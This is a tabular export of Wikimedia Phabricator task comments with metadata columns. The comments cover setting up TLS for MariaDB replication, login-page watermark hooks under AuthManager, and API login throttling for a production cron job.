+```",,,1445405845,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,1
+549531,Set up TLS for MariaDB replication,">>! In T111654#1737846, @jcrespo wrote:
+> * Recommended cipher and key length (I suppose 2048), that we use for other production services (I assume `ssl_cipher=TLSv1.2`,
+
+When comparing this to our standards in Apache (`/modules/wmflib/lib/puppet/parser/functions/ssl_ciphersuite.rb)`, yes we only want TLSv1.2 (if we can and have no reason to set it to compat mode as opposed to ""strong""). See code snippet below:
+
+```
+195       when 'strong' then
+196         output.push('SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1')
+197       else
+198         output.push('SSLProtocol all -SSLv2 -SSLv3')
+
+```
+
+And yes, i also suppose key length 2048 per former comments from Faidon and Brandon about performance.",,,1445405490,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,15,True,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,1,0,0,1
+549530,Set up TLS for MariaDB replication,">>! In T111654#1737846, @jcrespo wrote:
+> * Recommended cipher and key length (I suppose 2048), that we use for other production services (I assume `ssl_cipher=TLSv1.2`,
+
+When comparing this to our standards in Apache (`/modules/wmflib/lib/puppet/parser/functions/ssl_ciphersuite.rb)`, yes we only want TLSv1.2 (if we can and have no reason to set it to compat mode as opposed to ""strong""). See code snippet below:
+
+And yes, i also suppose 2048 per former comments from Faidon and Brandon about performance.
+
+```
+195       when 'strong' then
+196         output.push('SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1')
+197       else
+198         output.push('SSLProtocol all -SSLv2 -SSLv3')
+
+```",,,1445405451,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,15,True,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,1,0,0,1
+549529,Set up TLS for MariaDB replication,">>! In T111654#1737846, @jcrespo wrote:
+> * Recommended cipher and key length (I suppose 2048), that we use for other production services (I assume `ssl_cipher=TLSv1.2`,
+
+When comparing this to our standards in Apache (/modules/wmflib/lib/puppet/parser/functions/ssl_ciphersuite.rb), yes we only want TLSv1.2 (if we can and have no reason to set it to compat mode as opposed to ""strong""). See code snippet below:
+
+And yes, i also suppose 2048 per former comments from Faidon and Brandon about performance.
+
+```
+195       when 'strong' then
+196         output.push('SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1')
+197       else
+198         output.push('SSLProtocol all -SSLv2 -SSLv3')
+
+```",,,1445405405,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,15,True,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,1,0,0,1
+548899,Set up TLS for MariaDB replication,"Change 247542 had a related patch set uploaded (by Jcrespo):
+[WIP] Script to genereate openssh TLS keys for mysql replication
+
+[[https://gerrit.wikimedia.org/r/247542]]
+",,,1445340176,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+548893,Set up TLS for MariaDB replication,"So, I have some questions here for the TLS experts:
+
+* Recommended cipher and key length (I suppose 2048), that we use for other production services (I assume `ssl_cipher=TLSv1.2`, which limits them to the ones of the 1.2 version).
+* Expiration time? Replication will break when expired.
+* Should we generate a client certificate for every single client (please note that clients are not authenticated using the certs, they continue using passwords, but maybe they could be blacklisted)?
+* Any ""best practices"" for generating the private keys?
+
+Generating and distributing the keys is the only thing that is ""complex"", mysql configuration is trivial after this: https://www.percona.com/blog/2013/06/22/setting-up-mysql-ssl-and-secure-connections/",,,1445339613,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,15,True,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,0
+548891,Set up TLS for MariaDB replication,"So, I have some questions here for the TLS experts:
+
+* Recommended cipher and key length (I suppose 2048), that we use for other production services (I assume `ssl_cipher=TLSv1.2`, which limits them to the ones of the 1.2 version).
+* Expiration time? Replication will break when expired.
+* Should we generate a client certificate for every single client (please note that clients are not authenticated using the certs, they continue using passwords, but maybe they could be blacklisted)?
+* Any ""best practices"" for generating the private keys?",,,1445339527,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,15,True,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0
+523662,Set up TLS for MariaDB replication,"@faidon Yes, replication over SSL has negligible cost due to usually maintaining 1 single open connection all the time. Probably the only time blocker would be potentially having to restart the MySQLs, but that is a no-problem for the eqiad-codfw link. 
+
+I am also assuming that parser caches would be always local, T111777, avoiding cross-datacenter client traffic.
+
+PS: When I use SSL, of course I mean TLS. Our version supports TLS 1.2.",,,1441824131,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,9,True,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+521887,Set up TLS for MariaDB replication,"Definitely cross-DC links, unsure about the rest. I'd like to see the performance impact on our own first anyway — the data we have from the HTTPS transition suggests that the overhead was negligible, as long as the systems were modern enough (CPUs having AES-NI etc.) and we stick to 2048-bit RSA.
+
+Also note that the article you pointed to is mainly talking about the cost of establishing a connection, which is, indeed, higher. This ticket isn't for MediaWiki->MariaDB TLS (which is an entirely different topic altogether), it's for the MariaDB replication traffic which AIUI is all over long-lived connections.",,,1441619890,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,9,True,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+521883,Set up TLS for MariaDB replication,"Definitely cross-DC links, unsure about the rest. I'd like to see the performance impact on our own first anyway — the data we have from the HTTPS transition suggests that the overhead was negligible, as long as the systems were modern enough (CPUs having AES-NI etc.).",,,1441619780,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+521882,Set up TLS for MariaDB replication,"@faidon Are you suggesting encrypting WAN links or all of them? Because all of them has a price, and should be provisioned adequately: https://www.percona.com/blog/2013/10/10/mysql-ssl-performance-overhead/",,,1441619651,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,9,True,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,1,1,0,0,1
+111483,AuthManager should retain the MobileFrontend watermark at the top of the login screen,See parent task and T110431#1604967. Might well be a no-op now that it doesn't replace the login form.,Medium,50.0,1441335172,1463501427.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-TASK-sunkwhv6zux324uftthu,task_description,resolved,True,c3,3,True,False,False,9,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+685913,AuthManager should retain the MobileFrontend watermark at the top of the login screen,"Change 296508 merged by jenkins-bot:
+Update for AuthManager
+
+[[https://gerrit.wikimedia.org/r/296508]]",,,1467184481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,False,,,51,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+685907,AuthManager should retain the MobileFrontend watermark at the top of the login screen,"Change 296508 had a related patch set uploaded (by Gergő Tisza):
+Update for AuthManager
+
+[[https://gerrit.wikimedia.org/r/296508]]
+",,,1467184053,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,False,,,51,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+663410,AuthManager should retain the MobileFrontend watermark at the top of the login screen,"Change 288334 merged by jenkins-bot:
+Update for AuthManager
+
+[[https://gerrit.wikimedia.org/r/288334]]",,,1463449356,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+660783,AuthManager should retain the MobileFrontend watermark at the top of the login screen,"Change 288334 had a related patch set uploaded (by Gergő Tisza):
+Update for AuthManager
+
+[[https://gerrit.wikimedia.org/r/288334]]
+",,,1463010949,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+660669,AuthManager should retain the MobileFrontend watermark at the top of the login screen,"All those hooks do is add an image to the top of the form. This is important as it gives context to where you are logging in.
+
+```
+<div class=""watermark""><img src=""$1""></div>
+where $1 is the value of $wgMobileFrontendLogo
+
+```
+If you are deprecating these, you need to provide a new way to add that image. I consider that a blocker to rolling this out.",,,1463001180,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,True,,,44,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+660655,AuthManager should retain the MobileFrontend watermark at the top of the login screen,"The only thing that looks suspicious is that you're using the UserLoginForm and UserCreateForm hooks. These hooks are deprecated under AuthManager, so it would be good to move away from using them.",,,1463000258,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,True,,,44,True,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+558083,AuthManager should retain the MobileFrontend watermark at the top of the login screen,Let me know if there is anything specific you need done in the extension!,,,1446657536,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,True,,,17,True,0,1,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+558081,AuthManager should retain the MobileFrontend watermark at the top of the login screen,"We only use the normal login page so if there is an issue here it is in the mediawiki login form (e.g. it doesn't load JavaScript with the right target)
+",,,1446657506,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-sunkwhv6zux324uftthu,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+111255,Review login / signup designs by some major sites / frameworks,Review login / signup designs by some major sites / frameworks so that we have a use case list of sorts by which to judge solutions to T110278.,Medium,50.0,1441230885,1464122891.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-l6knmtbufhphx6m4ipmp,task_description,resolved,True,c3,3,True,True,False,8,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+522368,Review login / signup designs by some major sites / frameworks,"UI Patterns has great screenshot collections:
+* [[ http://ui-patterns.com/users/1/collections/login-forms/screenshots | login ]] (also [[ http://zurb.com/patterntap?tag=login&context=types | PatternTap]], [[ http://www.mobile-patterns.com/log-in | Mobile Patterns ]])
+* [[ http://ui-patterns.com/patterns/AccountRegistration/examples | registration ]] (also [[ http://zurb.com/patterntap?tag=signup&context=types | PatternTap ]], [[ http://www.mobile-patterns.com/sign-up-flows | Mobile Patterns ]]
+* [[ http://ui-patterns.com/patterns/LazyRegistration/examples | lazy registration ]]
+(also [[ http://ui-patterns.com/patterns/PasswordStrengthMeter/examples | password strength meter ]], [[ http://ui-patterns.com/patterns/Captcha/examples | captcha ]])
+
+Most if these are structurally pretty simple: a list of form elements, plus a list of social login buttons (sometimes they are in the same list). So one possibility is to keep using templates but provide them with those two lists. ",,,1441678856,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-l6knmtbufhphx6m4ipmp,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1
+111045,zerofetcher in production is getting throttled for API logins,"Getting this from cronjobs today, as we've expanded the pool of cache cluster machines which are fetching the Zero-rating JSON data.  Can a limit be increased substantially somewhere?
+
+```
+Exception: API login phase2 gave result Throttled, expected ""Success""
+```",Medium,50.0,1441116219,1444061462.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-sdolnc4j26rmtnljzjol,task_description,resolved,True,c3,3,True,True,False,8,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+539397,zerofetcher in production is getting throttled for API logins,"Change 243033 merged by BBlack:
+re-enable zerofetcher for cache_text T111045
+
+[[https://gerrit.wikimedia.org/r/243033]]",,,1443736220,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,False,,,13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+539395,zerofetcher in production is getting throttled for API logins,"Change 243033 had a related patch set uploaded (by BBlack):
+re-enable zerofetcher for cache_text T111045
+
+[[https://gerrit.wikimedia.org/r/243033]]
+",,,1443736174,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,False,,,13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+539389,zerofetcher in production is getting throttled for API logins,"Change 242888 merged by BBlack:
+zero_update: randomize cron every 15 minutes
+
+[[https://gerrit.wikimedia.org/r/242888]]",,,1443735717,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,False,,,13,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+539095,zerofetcher in production is getting throttled for API logins,This issue is becoming a blocker for doing a better job at DDoS mitigation (so that we can port XFF-decoding used by Zero to other clusters and not accidentally false-positive-ratelimit things like OperaMini).  Any objections from #Zero on carriers/proxies data updates being on a 15-minute rather than 5-minute schedule in the patch above?,,,1443718505,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,13,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+538948,zerofetcher in production is getting throttled for API logins,"Change 242888 had a related patch set uploaded (by BBlack):
+zero_update: randomize cron every 15 minutes
+
+[[https://gerrit.wikimedia.org/r/242888]]
+",,,1443707834,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,False,,,13,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+534564,zerofetcher in production is getting throttled for API logins,"The code doing the fetching, in case that provides any details as to what kind of login it's using, is: https://github.com/wikimedia/operations-puppet/blob/production/modules/varnish/files/zerofetch.py",,,1443123136,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,12,True,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+534563,zerofetcher in production is getting throttled for API logins,"In this case, we're logging into the same account from many IP addresses (let's say ~100), and each of those IP addresses is logging in every 5 minutes (log in, fetch one chunk of data from an API, log out).  Could it just be the concurrency of the logins from multiple machines?",,,1443123077,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,12,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+534390,zerofetcher in production is getting throttled for API logins,">>! In T111045#1669413, @Yurik wrote:
+> Do we know what is actually doing the rate check and blocking? Is that a backend feature / an extension?
+
+The only place in core and deployed extensions I see returning LoginForm::THROTTLED is core, based on LoginForm::incLoginThrottle(). The throttle should be being cleared by a successful login though. And it's per both IP and user, so unless your machines are all seen as coming from the same IP that shouldn't make a difference.
+
+
+
+>>! In T111045#1614425, @Krenair wrote:
+> We can add entries to wgRateLimitsExcludedIPs in mediawiki-config if there is a list of internal hosts which need it.
+> It'd need to be kept updated though.
+
+wgRateLimitsExcludedIPs doesn't appear to be used for the login throttle.",,,1443113629,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,12,True,1,0,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+533947,zerofetcher in production is getting throttled for API logins,Do we know what is actually doing the rate check and blocking? Is that a backend feature / an extension?,,,1443060959,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,12,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,1,0,1,0,0,0
+533811,zerofetcher in production is getting throttled for API logins,"Just single IPs.
+
+Maybe there's a better way somewhere...",,,1443050628,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0
+533803,zerofetcher in production is getting throttled for API logins,"@Krenair is that just single IPs, or can we add networks to it like the wgSquidServers type of lists use?",,,1443050247,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+522163,zerofetcher in production is getting throttled for API logins,"We can add entries to wgRateLimitsExcludedIPs in mediawiki-config if there is a list of internal hosts which need it.
+It'd need to be kept updated though.",,,1441649647,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-sdolnc4j26rmtnljzjol,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,1,0,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
